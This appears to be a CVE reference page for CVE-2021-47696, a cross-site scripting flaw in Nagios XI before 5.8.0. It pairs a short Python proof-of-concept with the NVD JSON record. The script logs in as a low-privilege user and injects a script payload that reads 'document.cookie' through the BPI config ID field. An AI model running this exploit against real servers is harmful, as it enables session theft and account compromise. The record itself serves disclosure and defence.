CVE-2021-47696

import requests import re # CVE-2021-47696 PoC - Nagios XI BPI Config ID XSS # Target: Nagios XI < 5.8.0 TARGET_URL = "http://target-nagios-xi.local" USERNAME = "normal_user" PASSWORD = "user_password" session = requests.Session() # Step 1: Login to Nagios XI login_url = f"{TARGET_URL}/nagiosxi/login.php" login_data = { "username": USERNAME, "password": PASSWORD, "loginButton": "Login" } response = session.post(login_url, data=login_data) if "nagiosxi" not in response.url.lower(): print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Navigate to BPI Config page bpi_url = f"{TARGET_URL}/nagiosxi/admin/bpi_config.php" response = session.get(bpi_url) # Step 3: Inject XSS payload in BPI Config ID field xss_payload = '<script>alert(document.cookie)</script>' bpi_post_url = f"{TARGET_URL}/nagiosxi/admin/bpi_config.php" bpi_data = { "config_id": xss_payload, "action": "submit", "submit": "Save" } response = session.post(bpi_post_url, data=bpi_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") else: print("[-] Injection failed")

{"cve": {"id": "CVE-2021-47696", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:41.090", "lastModified": "2025-11-05T18:22:45.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 5.8.0 are vulnerable to cross-site scripting (XSS) via BPI config ID handling. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.8.0", "matchCriteriaId": "5C5E0E33-4BD8-4FFE-9DF3-DB42D84495CB"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-xss-via-bpi-config-id-handling", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}